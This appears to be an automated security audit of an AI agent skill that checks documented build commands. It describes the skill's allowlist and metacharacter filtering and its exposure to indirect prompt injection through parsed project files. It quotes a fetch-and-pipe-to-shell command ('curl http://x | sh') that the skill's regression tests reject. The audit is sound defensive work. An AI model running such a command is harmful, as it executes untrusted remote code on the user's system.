agent-rules
Pass
Audited by Gen Agent Trust Hub on Oct 24, 2026
Risk Level: SAFECOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The script
verify-commands.shis designed to check if documented build and test commands are still valid. It includes a 'smoke test' feature (enabled via theSMOKE_TEST=trueenvironment variable) that attempts to execute commands extracted fromAGENTS.md. This execution is secured by: - A strict allowlist of permitted base commands (e.g.,
npm,make,pytest,go,composer). - A robust character check that rejects any command containing shell metacharacters such as pipes (
|), semicolons (;), background markers (&), or redirections (>,<), effectively preventing command chaining or injection. - Restricted argument checking for high-risk tools like
gitanddockerto allow only informational subcommands (e.g.,--version,ps). - [REMOTE_CODE_EXECUTION]: Automated scanners flagged a pattern
curl http://x | sh. Manual audit ofscripts/verify-commands.shandscripts/tests/test-command-allowlist.shreveals that this string only exists within code comments describing security bug fixes (specifically issue #104) and within regression test cases used to ensure that such malicious patterns are successfully detected and rejected by the skill's safety logic. The skill does not actually execute remote code. - [INDIRECT_PROMPT_INJECTION]: The skill acts as a parser for project-level files (
package.json,Makefile,README.md). While these files represent an external data ingestion surface, the skill's operations are limited to text processing and controlled command verification as described above. It does not blindly interpret natural language instructions from these files as agent directives.
Audit Metadata